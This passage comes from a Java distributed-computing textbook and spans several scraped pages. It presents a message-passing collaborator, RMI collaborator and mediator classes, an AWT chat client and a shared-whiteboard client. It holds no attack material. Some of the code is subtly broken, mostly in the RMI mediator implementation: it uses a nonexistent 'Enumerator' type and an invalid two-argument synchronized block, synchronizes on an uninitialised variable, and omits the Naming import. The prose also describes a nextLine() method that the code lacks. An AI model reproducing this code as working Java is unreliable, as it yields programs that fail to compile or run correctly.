          Object oarg = getArg(2);
          mediator.broadcast(from, tag, oarg);
        }
      }
    }
    catch (Exception e) {
      success = false;
      System.out.println("mm: Error parsing message.");
      e.printStackTrace();
    }
    return success;
  }

  // We want to handle all messages.
  public boolean handles(String msgId) { return true; }

  public Message newCopy() {
    MediatorMessage copy;
    if (mediator != null) {
      // Make a new MediatorMessage with the same Mediator
      copy = new MediatorMessage(mediator);
      copy.setId(messageID());
    }
    else {
      copy = new MediatorMessage(messageID());
    }
    return copy;
  }
}

The remainder of the MessageMediator implementation consists of the send() and broadcast() methods. These methods simply take the arguments passed to them, bundle them into Messages, and instruct the Message-Handler to send them to the appropriate recipients. The send() methods call the MessageHandler.sendMsg() method with the ID number of the destination agent, while the broadcast() methods call the MessageHandler.send-Msg() method with no ID number; this causes the MessageHandler to send the message to all of the agents in its list.

The last piece of our message-passing collaborative system is a Collaborator implemented using message passing. The MessageCollaborator shown in Example 9-7 implements the Collaborator interface using a Message-Handler. Two constructors are provided: one with just a name for the collaborator, and the other with a name along with the host and port number of a mediator to which to connect. Both constructors initialize the MessageHandler, and the second version goes on to put the host and port number into a Properties list and call the connect() method to connect to the mediator at that network address. The initHandler() method simply adds a CollaboratorMessage to the message prototype list on the MessageHandler. This Message subclass, shown in Example 9-8, is even simpler than the MediatorMessage in Example 9-6. The Do() method takes the message ID, assumes that the first argument is the Identity of the sender and that the second argument is the body of the message, and calls the collaborator's notify() method with these arguments. The CollaboratorMessage also handles all messages by returning a default of true from its handles() method.

Example 9-7. A Message-Passing Collaborator

package dcj.util.Collaborative;

import java.io.IOException;
import java.net.Socket;
import java.util.Properties;

public class MessageCollaborator implements Collaborator
{
  MessageHandler handler = new MessageHandler();
  Identity id = null;
  String name;

  public MessageCollaborator(String n) {
    name = n;
    initHandler();
  }

  public MessageCollaborator(String host, int port, String n) {
    initHandler();
    name = n;
    Properties p = new Properties();
    p.put("host", host);
    p.put("port", String.valueOf(port));
    connect(p);
  }

  protected void initHandler() {
    handler.addMessageType(new CollaboratorMessage(this));
  }

  public Identity getIdentity() { return id; }

  public boolean connect(Properties p) {
    boolean success = false;

    String host = p.getProperty("host");
    String itmp = p.getProperty("port");
    if (host != null && itmp != null) {
      try {
        int port = Integer.parseInt(itmp);
        // Make a socket connection to the mediator.
        Socket mConn = new Socket(host, port);
        int pid = handler.addAgent(mConn.getInputStream(),
                                  mConn.getOutputStream());
        System.out.println("Got socket to Mediator, id = " + id + "...");
        // The mediator should send us an identity in a message...
        Message imsg = handler.readMsg(pid);
        System.out.println("Got message with id = " + imsg.messageID());
        if (imsg.messageID().compareTo("identity") == 0) {
          id = (Identity)imsg.getArg(0);
          id.setName(name);
          System.out.println("Got identity from mediator, id = "
                             + id.getId() + "...");
          success = true;
        }
        else {
          handler.removeAgent(pid);
          success = false;
        }
      }
      catch (Exception e) {
        success = false;
      }
    }
    else {
      success = false;
    }
    return success;
  }

  public boolean send(String tag, String msg, Identity dst)
                 throws IOException {
    boolean success = false;
    Message m = new Message("send");
    m.addArg(getIdentity());
    m.addArg(dst);
    m.addArg(tag);
    m.addArg(msg);
    success = handler.sendMsg(m);
    return success;
  }

  public boolean send(String tag, Object data, Identity dst)
                 throws IOException {
    boolean success = false;
    Message m = new Message("send");
    m.addArg(getIdentity());
    m.addArg(dst);
    m.addArg(tag);
    m.addArg("#OBJ");
    m.addArg(data);
    success = handler.sendMsg(m);
    return success;
  }

  public boolean broadcast(String tag, String msg)
                 throws IOException {
    boolean success = false;
    Message m = new Message("broadcast");
    m.addArg(getIdentity());
    m.addArg(tag);
    m.addArg(msg);
    System.out.println("mc: Sending broadcast message \"" + tag + "\"");
    success = handler.sendMsg(m);
    System.out.println("mc: success = " + success);
    return success;
  }

  public boolean broadcast(String tag, Object data)
                 throws IOException {
    boolean success = true;
    Message m = new Message("broadcast");
    m.addArg(getIdentity());
    m.addArg(tag);
    m.addArg("#OBJ");
    m.addArg(data);
    success = handler.sendMsg(m);
    return success;
  }

  public boolean notify(String tag, String msg, Identity src)
                 throws IOException {
    System.out.println("Received \"" + tag + "\" message \""
                       + msg + "\" from " + src.getName());
    return true;
  }

  public boolean notify(String tag, Object data, Identity src)
                 throws IOException {
    System.out.println("Received \"" + tag + "\" object \""
                       + data + "\" from " + src.getName());
    return true;
  }
}

The connect() method on the MessageCollaborator assumes that a host and port number will be in the Properties list passed to it. These are used to make a socket connection to that address. Once the connection is made, the input and output streams from the socket are passed to the addAgent() method on the MessageHandler. This adds the mediator at the other end of the socket to the list of agents in our MessageHandler. Since the first thing the MessageMediator does is send the collaborator a message with its new Identity with the mediator, the next step in the connect() method is to read the message from the mediator and get our Identity. If we fail to get an Identity from the mediator, then we remove the mediator from the MessageHandler agent list by calling its removeAgent() method.

The rest of the MessageCollaborator is the implementation of the send(), broadcast(), and notify() methods. These are implemented much the same as on the MessageMediator. The send() methods bundle the source (the local Identity), destination, message type, and message body into a Message with an ID of "send," and send it to the mediator using the sendMsg() method on the MessageHandler. The broadcast() methods bundle the source Identity, the message type, and the message body into a Message with an ID of "broadcast," and send it with the MessageHandler.sendMsg() method. The notify() methods implemented here simply print out an indication that a message has been received. Subclasses would override these methods to check the message type or body, and react accordingly.

Example 9-8. A Collaborator Message

package dcj.util.Collaborative;

import java.io.*;
import java.util.Vector;

public class CollaboratorMessage extends Message
{
  protected Collaborator collaborator = null;

  public CollaboratorMessage(Collaborator c) {
    collaborator = c;
  }

  public CollaboratorMessage(String mid) {
    super(mid);
  }

  public boolean Do()
  {
    boolean success = false;

    try {
      String mtype = messageID();
      Identity from = (Identity)getArg(0);
      try {
        String s = (String)getArg(1);
        collaborator.notify(mtype, s, from);
        success = true;
      }
      catch (ClassCastException cce) {
        // Argument isn't a string, so send it as an object
        Object oarg = getArg(1);
        collaborator.notify(mtype, oarg, from);
        success = true;
      }
    }
    catch (Exception e) {
      success = false;
    }
    return success;
  }

  // We want to handle all messages to the collaborator
  public boolean handles(String msgId) { return true; }

  public Message newCopy() {
    CollaboratorMessage copy;
    if (collaborator != null) {
      // Make a new CollaboratorMessage with the same Collaborator
      copy = new CollaboratorMessage(collaborator);
      copy.setId(messageID());
    }
    else {
      copy = new CollaboratorMessage(messageID());
    }
    return copy;
  }
}

Our complete message-passing infrastructure allows us to create a MessageMediator on a given port number on a host. Then any client can connect to the mediator by creating a MessageCollaborator using the mediator's host and port number, and engage in a collaborative exercise with any other agent connected to it using the collaborator's send() and broadcast() methods. Each connection the MessageMediator accepts is serviced in a separate thread by an AgentHandler, which listens for messages from that agent and tells the MessageMediator to route them to the right Collaborators.

If we wanted to support the complete collaborative environment depicted in Figure 9-1, in addition to each Mediator serving multiple Collaborators, we would also want each Collaborator to be able to connect to more than one Mediator. We may want to have clusters of Mediators serving different portions of the overall community. This is a simple extension to the Collaborator and MessageCollaborator interfaces. First, the Message-Collaborator would need to maintain a table of mediators that it was connected to, along with their identities. The identity of a mediator could be as simple as an ID number that the MessageCollaborator generates on its own as a unique local identifier for the Mediator. A Hashtable could be used to store the table of Collaborators and their Identitys. The send() and broadcast() methods would need to include a new Identity argument, to specify which Mediator to route the message through. We may also want to add methods to broadcast a message through all available Mediators (e.g., a broadcastAll() method).

9.3.2. Collaborating with RMI

We implemented our message-passing version of a collaborative infrastructure to demonstrate the communication issues that the system needs to handle; now let's see what a version implemented in RMI would look like, and what pieces of the puzzle RMI handles for us. We'll construct our RMI collaboration system so that a Mediator is registered as an RMI server object to which remote Collaborators connect. The Collaborators can then register themselves with the Mediator by passing stub references to themselves through a remote method call to the Mediator. Once the Mediator has a stub for the Collaborator objects, and each Collaborator has a stub for the Mediator, the Collaborators can exchange messages by calling the appropriate method on the Mediator stub, which in turn passes the message to the appropriate Collaborator by calling the notify() method on its stub.

First, remember that a remote RMI object must have a stub interface that implements the java.rmi.Remote interface, and each method on the interface must throw a java.rmi.RemoteException. Also, the Remote object has to implement the Remote interface from the top of its inheritance tree (i.e., a remote object cannot implement a non-Remote interface). For these reasons, we need new versions of our Collaborator and Mediator interfaces for the RMI version of our system. The RMICollaborator interface in Example 9-9 has essentially the same interface as the Collaborator from Example 9-3, except that it implements java.rmi.Remote, and all methods throw the java.rmi.RemoteException in addition to any Exceptions that the original Collaborator interface throws.

Example 9-9. An RMI Collaborator Interface

package dcj.util.Collaborative;

import java.rmi.RemoteException;
import java.io.IOException;
import java.rmi.Remote;
import java.util.Properties;

public interface RMICollaborator extends Remote
{
  public Identity getIdentity() throws RemoteException;

  // Connect to a mediator - subclasses dictate properties needed
  public boolean connect(Properties p) throws RemoteException;

  // Outgoing messages/data
  public boolean send(String tag, String msg, Identity dst)
                 throws IOException, RemoteException;
  public boolean send(String tag, Object data, Identity dst)
                 throws IOException, RemoteException;
  public boolean broadcast(String tag, String msg)
                 throws IOException, RemoteException;
  public boolean broadcast(String tag, Object data)
                 throws IOException, RemoteException;

  // Incoming messages/data
  public boolean notify(String tag, String msg, Identity src)
                 throws IOException, RemoteException;
  public boolean notify(String tag, Object data, Identity src)
                 throws IOException, RemoteException;
}

The RMIMediator interface in Example 9-10 is adapted in the same way from the Mediator interface in Example 9-4, except that a new register() method has been added to allow each RMICollaborator to register itself with the RMIMediator once it has a stub.

Example 9-10. An RMI Mediator Interface

package dcj.util.Collaborative;

import java.rmi.RemoteException;
import java.io.IOException;
import java.rmi.Remote;
import java.util.Vector;

public interface RMIMediator extends Remote
{
  public boolean register(Identity i, RMICollaborator c)
                 throws RemoteException;
  public Identity newMember() throws RemoteException;
  public boolean  remove(Identity i) throws RemoteException;
  public Vector   getMembers() throws RemoteException;

  public boolean send(Identity to, Identity from, String mtag, String msg)
                 throws IOException, RemoteException;
  public boolean broadcast(Identity from, String mtag, String msg)
                 throws IOException, RemoteException;
  public boolean send(Identity to, Identity from, String mtag, Object data)
                 throws IOException, RemoteException;
  public boolean broadcast(Identity from, String mtag, Object data)
                 throws IOException, RemoteException;
}

The implementations of our RMI-based collaborator and mediator are surprisingly similar to our message-passing versions. The RMICollaboratorImpl in Example 9-11 has two constructors: one with just a name for the collaborator, the other taking a name, a host name, and the name of the remote RMIMediator object to lookup. The first constructor saves the name within an Identity object for the collaborator. The second does the same, then adds the host name and remote object name to a property list and calls the connect() method. The connect() method expects a host name saved as the host property in the Properties argument, and the name of a remote RMIMediator object as the mediatorName in the property list. Once it has these, the connect() method attempts to retrieve a stub to the remote mediator using the Naming.lookup() method with a URL constructed from the host name and the object name. Once the stub is received, the collaborator asks the RMIMediator for a new unique Identity by calling its newMember() method, then registers itself with the mediator by calling its register() method with a reference to itself and the new Identity.

Example 9-11. Implementation of an RMI Collaborator

package dcj.util.Collaborative;

import java.io.IOException;
import java.util.Properties;
import java.rmi.Naming;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.RMISecurityManager;

public class RMICollaboratorImpl extends UnicastRemoteObject
                                 implements RMICollaborator
{
  protected Identity id = null;
  protected RMIMediator mediator = null;

  public RMICollaboratorImpl(String name, String host, String mname)
         throws RemoteException {
    id = new Identity(0);
    id.setName(name);
    Properties p = new Properties();
    p.put("host", host);
    p.put("mediatorName", mname);
    connect(p);
  }

  public RMICollaboratorImpl(String name) throws RemoteException {
    id = new Identity(0);
    id.setName(name);
  }

  public Identity getIdentity() throws RemoteException { return id; }

  public boolean connect(Properties p) throws RemoteException {
    boolean success = false;
    String host = p.getProperty("host");
    String mName = p.getProperty("mediatorName");
    if (host != null && mName != null) {
      try {
        String url = "rmi://" + host + "/" + mName;
        System.out.println("looking up " + url);
        mediator = (RMIMediator)Naming.lookup(url);
        System.out.println("Got mediator " + mediator);
        Identity newId = mediator.newMember();
        mediator.register(newId, this);
        newId.setName(id.getName());
        id = newId;
        success = true;
      }
      catch (Exception e) {
        e.printStackTrace();
        success = false;
      }
    }

    return success;
  }

  public boolean send(String tag, String msg, Identity dst)
                 throws IOException, RemoteException {
    boolean success = false;
    if (mediator != null) {
      success = mediator.send(dst, getIdentity(), tag, msg);
    }
    return success;
  }

  public boolean send(String tag, Object data, Identity dst)
                 throws IOException, RemoteException {
    boolean success = false;
    if (mediator != null) {
      success = mediator.send(dst, getIdentity(), tag, data);
    }
    return success;
  }

  public boolean broadcast(String tag, String msg)
                 throws IOException, RemoteException {
    boolean success = false;
    if (mediator != null) {
      success = mediator.broadcast(getIdentity(), tag, msg);
    }
    return success;
  }

  public boolean broadcast(String tag, Object data)
                 throws IOException, RemoteException {
    boolean success = false;
    if (mediator != null) {
      success = mediator.broadcast(getIdentity(), tag, data);
    }
    return success;
  }

  public boolean notify(String tag, String msg, Identity src)
                 throws IOException, RemoteException {
    System.out.println("Got message: \"" + tag + " " + msg + "\""
                       + " from " + src.getName());
    return true;
  }

  public boolean notify(String tag, Object data, Identity src)
                 throws IOException, RemoteException {
    System.out.println("Got message: \"" + tag + " " + data + "\""
                       + " from " + src.getName());
    return true;
  }

  public static void main(String argv[]) {
    // Install a security manager
    System.setSecurityManager(new RMISecurityManager());
    try {
      String name = argv[0];
      String host = argv[1];
      String mname = argv[2];
      Properties props = new Properties();
      props.put("host", host);
      props.put("mediatorName", mname);
      RMICollaboratorImpl c = new RMICollaboratorImpl(name);
      if (c.connect(props)) {
        System.out.println("Got mediator...");
        c.broadcast("msg", "hello world");
      }
    }
    catch (Exception e) {
      System.out.println("Caught exception:");
      e.printStackTrace();
    }
  }
}

Once the stub to the RMIMediator has been received, the RMICollaboratorImpl simply calls methods on the remote object to implement its send() and broadcast() methods. The send() methods call the mediator's send() methods with the appropriate arguments; the same goes for the broadcast() methods. Since the calls to send() and broadcast() are remote method calls, any Objects passed as the body of a message to the RMIMediator must implement the Serializable interface, or an exception will result when the remote methods are called. Again, the implementation of the notify() methods simply print out some text indicating that a message has been received.

The RMICollaboratorImpl interface also includes a main() method that demonstrates the use of the class with a mediator. The method takes command-line arguments that specify the name of the collaborator, the host for the mediator, and the name under which the mediator is registered. It creates an RMICollaboratorImpl object with the given name, then tells it to connect to the mediator registered as an RMI object under the given mediator name on the remote host. If it connects successfully, then we broadcast a friendly message to the other collaborators connected to the mediator.

The RMIMediatorImpl in Example 9-12 implements our RMIMediator interface. Its newMember() method generates a unique Identity for a collaborator, while its register() method adds its Identity and RMICollaborator arguments to a table of collaborators currently connected to the mediator. The remove() method removes the identified collaborator from the table of connected clients. The send() methods on RMIMediatorImpl retrieve the referenced RMICollaborator from its internal table, and call the notify() method on the collaborator with the appropriate arguments. The broadcast() methods iterate through all of the RMICollaborators in the table, calling each one's notify() method with the message from the remote RMICollaborator.

Example 9-12. Implementation of an RMI Mediator

package dcj.util.Collaborative;

import java.util.Vector;
import java.util.Hashtable;
import java.util.Enumeration;
import java.io.IOException;
import java.rmi.Remote;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.rmi.RMISecurityManager;

public class RMIMediatorImpl extends UnicastRemoteObject
                             implements RMIMediator
{
  Hashtable clients = new Hashtable();
  Vector idList = new Vector();

  public RMIMediatorImpl() throws RemoteException {
    super();
  }

  public boolean register(Identity i, RMICollaborator c)
                 throws RemoteException {
    System.out.println("Registering member " + i.getId()
                       + " as " + c.getIdentity().getName());
    clients.put(i, c);
    return true;
  }

  public Identity newMember() throws RemoteException {
    int max = -1;
    boolean found = true;
    Enumerator enum;
    synchronized (idList) {
       enum = idList.elements();
    }
    while (enum.hasMoreElements()) {
      Integer i = enum.nextElement();
      if (i.intValue() > max) {
        max = i.intValue();
      }
    }

    Identity newId = new Identity(max + 1);
    synchronized (idList) {
      idList.addElement(newId);
    }
    return newId;
  }

  public boolean remove(Identity i) throws RemoteException {
    boolean success = true;
    synchronized (idList, clients) {
      if (idList.removeElement(i) && clients.remove(i) != null) {
        success = true;
      }
      else {
        success = false;
      }
    }
    return success;
  }

  public Vector getMembers() throws RemoteException {
    synchronized (idList) {
      return (Vector)idList.clone();
    }
  }

  public boolean send(Identity to, Identity from, String mtag, String msg)
                 throws IOException, RemoteException {
    boolean success = false;
    RMICollaborator c = getMember(to);
    synchronized (c) {
      if (c != null) {
        success = c.notify(mtag, msg, from);
      }
    }

    return success;
  }

  public boolean send(Identity to, Identity from, String mtag, Object data)
                 throws IOException, RemoteException {
    boolean success = false;
    RMICollaborator c = getMember(to);
    synchronized (c) {
      if (c != null) {
        success = c.notify(mtag, data, from);
      }
    }
    return success;
  }

  public boolean broadcast(Identity from, String mtag, String msg)
                 throws IOException, RemoteException {
    System.out.println("Broadcasting...");
    boolean success = true;
    Enumeration ids;
    synchronized (clients) {
      ids = clients.keys();
    }
    RMICollaborator target = null;
    while (ids.hasMoreElements()) {
      Identity i = (Identity)ids.nextElement();
      synchronized (clients) {
        target = (RMICollaborator)clients.get(i);
      }
      synchronized (target) {
        if (target == null ||
            !target.notify(mtag, msg, from)) {
          success = false;
        }
      }
    }
    return success;
  }

  public boolean broadcast(Identity from, String mtag, Object data)
                 throws IOException, RemoteException {
    boolean success = true;
    Enumeration ids;
    synchronized (ids) {
      ids = clients.keys();
    }
    RMICollaborator target = null;
    while (ids.hasMoreElements()) {
      Identity i = (Identity)ids.nextElement();
      synchronized (clients) {
        target = (RMICollaborator)clients.get(i);
      }
      synchronized (target) {
        if (target == null ||
            !target.notify(mtag, data, from)) {
          success = false;
        }
      }
    }
    return success;
  }

  protected RMICollaborator getMember(Identity i) {
    Enumeration ids;
    synchronized (clients) {
      ids = clients.keys();
    }
    RMICollaborator c = null;
    Identity tmp;
    while (c == null && ids.hasMoreElements()) {
       tmp = (Identity)ids.nextElement();
       if (tmp.equals(i)) {
         synchronized (clients) {
           c = (RMICollaborator)clients.get(tmp);
         }
       }
    }
    return c;
  }

  public static void main(String argv[]) {
    // Install a security manager
    System.setSecurityManager(new RMISecurityManager());

    try {
      String name = "TheMediator";
      System.out.println("Registering RMIMediatorImpl as \""
                         + name + "\"");
      RMIMediatorImpl mediator = new RMIMediatorImpl();
      System.out.println("Created mediator, binding...");
      Naming.rebind(name, mediator);
      System.out.println("Remote mediator ready...");
    }
    catch (Exception e) {
      System.out.println("Caught exception while registering: " + e);
    }
  }
}

At the end of the RMIMediatorImpl interface is a main() method that can be used to register a mediator with a local RMI registry. It just creates an RMIMediatorImpl object and binds it with the RMI Naming service under the name TheMediator.

If you compare our RMI implementation of a collaborative system to our message-passing one, you'll notice that they are fairly similar in structure, with the exception that there is no equivalent to the MessageHandler in our RMI-based system. We don't need one; RMI handles the functionality provided by the MessageHandler internally when it marshals, transmits, and then unmarshals a remote method call's arguments between the RMICollaborator and the RMIMediator, and vice versa. It's also important to notice that, while the RMI connection between the two objects allows for asynchronous remote method calls between the two, we need to ensure that the RMIMediatorImpl implementation is multithread-safe, so that multiple connected RMICollaborators can asynchronously route messages by remotely calling its send() and broadcast() methods. We do this by synchronizing any code segments that directly access the RMIMediatorImpl's data members, including the RMICollaborator stub references. By doing this, and by including the collaborators among the objects on which we synchronize, we ensure that asynchronous methods calls by remote agents do not interfere with each other, and we indirectly protect the remote RMICollaboratorImpl from asynchronous method calls by synchronizing locally on our stub reference. If we wanted the collaborator to have access to multiple mediators, then this measure wouldn't help, since each mediator could call methods on the collaborator asynchronously with respect to the other Mediators. If this was the case, we would have to ensure that the RMI-CollaboratorImpl methods were also multithread-safe.

9.3.3. Summary

The basic collaborative utility that we've built, in both message-passing and RMI flavors, can deal with asynchronous handling of multiple remote agents by a single mediator. The mediators are capable of issuing unique identities to each collaborator that is registered with it. And while we've provided a simple interface for sending point-to-point or broadcast messages across the system, we could implement specialized mediator and collaborator subclasses that use a custom interface to communicate.

Previous | Home | Next
9.2. Issues with Collaboration | Book Index | 10. Building Collaborative Applications
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Building Collaborative Applications (Java Distributed Computing)

 Java Distributed Computing Search this book

Chapter 10. Building Collaborative Applications

Contents:

A Simple Chat System
A Shared Whiteboard

In the previous chapter we built up a set of base classes for building collaborative applications, in both RMI and message-passing forms. In this chapter, we'll put those classes to work, using them to build some collaborative applications: a simple chat system and a shared whiteboard. We'll only be building applications based on the RMI version of our collaborative framework, but the mapping to message-passing versions is straightforward.

10.1. A Simple Chat System

It's a pretty simple matter to build a basic chat system on top of our base classes. All we need to do is write a subclass of our collaborator that acts as a chat client, receiving messages from remote chat clients and displaying them in a text window next to their name. We can pull each client's name from its Identity. Example 10-1 shows an RMIChatClient based on our RMI collaborative system. The RMIChatClient extends the RMICollaboratorImpl class, and also implements the java.awt.event.ActionListener interface, so that it can act as a listener for its own AWT elements. This AWT interface includes a TextArea for showing the chat session, a TextField for the user to type in chat messages, and a Button to submit the messages to the chat server, which in our case is simply one of our RMIMediatorImpl objects routing messages to other RMIChatClients. The constructor for the RMIChatClient simply connects to the specified mediator, then initializes its graphical elements by calling its initGraphics() method. The initGraphics() method creates a Frame, inserts the TextArea, TextField, and Button in the correct locations, then registers itself as an ActionListener for the button. The RMIChatClient's actionPerformed() method, which is called whenever the "Send" button is pressed, simply gets the text in the TextField when the button is pressed, and broadcasts it to all the other chat clients by calling its broadcast() method with a message tag of "chat." It then clears the TextField to let the user type in the next message. The RMIChatClient also has a notify() implementation that accepts chat messages from the mediator, and writes them to the TextArea along with the name of the sender (from its Identity). Figure 10-1 shows the chat screen that a user would see.

Figure 10-1. A chat client implemented using the RMICollaborator

Example 10-1. An RMI-Based Chat Client

package dcj.util.Collaborative;

import java.awt.Frame;
import java.awt.TextArea;
import java.awt.TextField;
import java.awt.Button;
import java.awt.Label;
import java.awt.event.*;
import java.rmi.RemoteException;
import java.util.Properties;
import java.io.IOException;

public class RMIChatClient extends RMICollaboratorImpl
                           implements java.awt.event.ActionListener {
  TextArea chatArea;
  TextField chatInput;

  public RMIChatClient(String name, String host, String mname)
         throws RemoteException {
    super(name);
    Properties p = new Properties();
    p.put("host", host);
    p.put("mediatorName", mname);
    connect(p);
    initGraphics();
  }

  public boolean notify(String tag, String msg, Identity src)
                 throws IOException, RemoteException {
    // Print the message in the chat area.
    chatArea.append("\n" + src.getName() + ": " + msg);
    return true;
  }

  protected void initGraphics() throws RemoteException {
    Frame f = new Frame();
    f.setLayout(null);
    f.addNotify();
    f.setSize(f.getInsets().left + 405, f.getInsets().top + 324);
    chatArea = new java.awt.TextArea();
    chatArea.setBounds(f.getInsets().left, f.getInsets().top,405, 300);
    f.add(chatArea);
    chatInput = new java.awt.TextField();
    chatInput.setBounds(f.getInsets().left + 84,
                        f.getInsets().top + 300,264,24);
    f.add(chatInput);
    Button button = new java.awt.Button("Send");
    button.setBounds(f.getInsets().left + 348,
                     f.getInsets().top + 300,60,24);
    f.add(button);
    button.addActionListener(this);
    Label label = new java.awt.Label("Chat here:");
    label.setBounds(f.getInsets().left,f.getInsets().top + 300,84,24);
    label.setAlignment(label.RIGHT);
    f.add(label);
    f.setTitle("RMI Chat Client");
    f.show();
  }

  public void actionPerformed(ActionEvent e) {
    // See if there's something to say...
    String msg = chatInput.getText();
    if (msg.length() > 0) {
      try {
        // Broadcast our message to the rest of the chat clients
        boolean success = broadcast("chat", msg);
        if (success) {
          System.out.println("Sent message OK.");
        }
        else {
          System.out.println("Failed to send message.");
        }
        // Clear the chat input field
        chatInput.setText("");
      }
      catch (Exception exc) {
      }
    }
  }
}

Our RMIChatClient's notify() method doesn't include any synchronized code blocks. Since each chat client connects to a single mediator, and since the mediator synchronizes all of its message-routing functions at any given time, there's only one thread that could be making remote calls to the chat client's notify() method.

This chat system was simple to implement because many of the really hard issues with collaborative systems are not a problem here. The data passed between the agents is small and simple ( just text strings), so communication performance shouldn't be a problem. Every message is broadcast to every other chat client, so flexible communications aren't an issue either. And while there is a kind of shared "state" between the chatting agents (the list of chat messages that each displays), it isn't a problem keeping this shared state consistent. Each chat client sends its chat messages using the broadcast() method, but doesn't display the message locally until it's received back from the chat mediator. This way all messages displayed in each client's chat window are synchronized, because they all pass through the mediator and are sent in the same order to each chat client.

Previous | Home | Next
9.3. A Basic Collaborative Infrastructure | Book Index | 10.2. A Shared Whiteboard
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A Shared Whiteboard (Java Distributed Computing)

 Java Distributed Computing Search this book

10.2. A Shared Whiteboard

Now we'll look at a collaborative application that's not so simple--a shared whiteboard. There are more things to worry about in this application because, while we still need to keep track of agent identities and communications, the data shared between agents is a bit more complicated and can lead to performance problems pretty quickly.

First let's build a simple shared whiteboard system based on our RMI collaborative classes. Like the chat example, our first version will use the standard mediator class, RMIMediatorImpl, because this version will only need the mediator to do the default routing of messages to the other agents. This initial whiteboard example will also need a new subclass of the RMICollaborator that acts as a whiteboard user. Actions that the user performs in the local whiteboard are broadcast to all other users so that their displays are updated properly.

Example 10-2 shows a WhiteboardUser class that subclasses RMICollaboratorImpl. It has a single constructor with four arguments: a name that the whiteboard user goes by, a color that is used when the user draws on the whiteboard, a host name for the mediator, and the mediator's name. The user name, host, and mediator name are passed to the RMICollaboratorImpl constructor to establish the connection to the mediator, and to initialize the collaborator's Identity. Once this is done, the color is added to the whiteboard user's Identity. We include the user's color in the Identity so other users of the shared whiteboard will know what color to use to draw our scribblings. When they receive the Identity in the remote call of their notify() methods, they can extract the Color object from the Identity and use it to draw the remote user's inputs. Since the java.awt.Color class implements the Serializable interface, we know that we can safely send the Color object through a remote method call via RMI.

Example 10-2. A Shared Whiteboard Client

package dcj.examples.Collaborative;

import dcj.util.Collaborative.*;
import java.awt.event.*;
import java.awt.*;
import java.util.Hashtable;
import java.util.Properties;
import java.io.IOException;
import java.rmi.RemoteException;

public class WhiteboardUser extends RMICollaboratorImpl
                            implements MouseListener, MouseMotionListener
{
  protected Hashtable lastPts = new Hashtable();
  protected Component whiteboard;
  protected Image buffer;

  public WhiteboardUser(String name, Color color, String host, String mname)
         throws RemoteException {
    super(name);
    Properties p = new Properties();
    p.put("host", host);
    p.put("mediatorName", mname);
    connect(p);
    getIdentity().setProperty("color", color);
    System.out.println("color = " + color.getRed()
                       + " " + color.getGreen() + " "
                       + color.getBlue());
    buildUI();
  }

  protected void buildUI() {
    Frame f = new Frame();
    GridBagLayout gridbag = new GridBagLayout();
    GridBagConstraints c = new GridBagConstraints();
    f.setLayout(gridbag);
    f.addNotify();
    c.fill = GridBagConstraints.BOTH;
    c.gridwidth = GridBagConstraints.REMAINDER;
    Canvas canvas1 = new java.awt.Canvas();
    canvas1.setSize(240,180);
    canvas1.setBackground(Color.white);
    gridbag.setConstraints(canvas1, c);
    f.add(canvas1);
    String name = null;
    try {
      name = getIdentity().getName();
    }
    catch (Exception e) {
      name = "unknown";
    }
    Label label1 = new java.awt.Label("Your name: " + name);
    label1.setSize(100,30);
    gridbag.setConstraints(label1, c);
    f.add(label1);
    f.setSize(240,210);
    f.show();
    whiteboard = canvas1;
    whiteboard.addMouseListener(this);
    whiteboard.addMouseMotionListener(this);
    buffer = whiteboard.createImage(f.getSize().width,
                                    f.getSize().height);
  }

  public void mousePressed(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      broadcast("start", evPt);
    }
    catch (Exception e) {}
  }

  public void mouseReleased(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      broadcast("end", evPt);
    }
    catch (Exception e) {}
  }

  public void mouseDragged(MouseEvent ev) {
    Point evPt = ev.getPoint();
    try {
      broadcast("drag", evPt);
    }
    catch (Exception e) {
    }
  }

  public void mouseExited(MouseEvent ev) {}
  public void mouseMoved(MouseEvent ev) {}
  public void mouseClicked(MouseEvent ev) {}
  public void mouseEntered(MouseEvent ev) {}

  public boolean notify(String tag, Object data, Identity src)
                 throws IOException, RemoteException {

    Color origColor = null;
    Color agentColor = null;
    Graphics gr = buffer.getGraphics();
    try {
      agentColor = (Color)src.getProperty("color");
      if (agentColor != null) {
        gr.setColor(agentColor);
      }
      else {
        System.out.println("No agent color available.");
      }
    }
    catch (Exception exc) {
      System.out.println("Exception while switching colors.");
      exc.printStackTrace();
    }

    if (tag.compareTo("start") == 0) {
      lastPts.put(src.getName(), data);
    }
    else if (tag.compareTo("drag") == 0) {
      Point lastPt = (Point)lastPts.get(src.getName());
      Point currPt = (Point)data;
      gr.drawLine(lastPt.x, lastPt.y, currPt.x, currPt.y);
      lastPts.put(src.getName(), data);
    }
    else if (tag.compareTo("end") == 0) {
      Point lastPt = (Point)lastPts.get(src.getName());
      Point currPt = (Point)data;
      gr.drawLine(lastPt.x, lastPt.y, currPt.x, currPt.y);
      lastPts.remove(src.getName());
    }

    whiteboard.getGraphics().drawImage(buffer, 0, 0, whiteboard);

    return true;
  }
}

The last thing that the WhiteboardUser constructor does is build the user interface by calling the buildUI() method. This method assembles the AWT elements that make up the whiteboard interface for the user. We won't delve into the details of the interface, except to say that the main part of the whiteboard interface is a simple Canvas, to which we attach the WhiteboardUser itself as a MouseListener and a MouseMotionListener (notice that the WhiteboardUser class implements both of these AWT interfaces). This is done near the end of the buildUI() method.

All drawing operations are done using the nextLine() method. This method draws a line from the last point on the user's drawing path, which is stored in a Hashtable, to the next point; it's passed in as an argument. The color of the line to be drawn is passed in as a Color argument. The line is drawn first on an Image buffer, which was initialized in the buildUI() method, then the buffer image is copied to the Canvas. We do this so that we can restore the whiteboard display if the window becomes obscured by another window and becomes visible again; all of the scribblings are stored in the Image buffer and can be recopied to the Canvas when needed.

Since we've attached the WhiteboardUser to the Canvas as a MouseListener and a MouseMotionListener, it will get mouse click and motion events from the Canvas, passed to it through calls to its mouseXXX() methods. When the user presses a mouse button while the cursor is in the Canvas, the WhiteboardUser.mousePressed() method is called. If the user drags the mouse with the button pressed, the WhiteboardUser.mouseDragged() method is called repeatedly, recording each new position of the cursor. When the user releases the mouse, the WhiteboardUser.mouseReleased() method is called. Each of these methods is passed a MouseEvent object as an argument, which includes information about the event that triggered the method call. This information includes the position of the mouse within the Canvas.

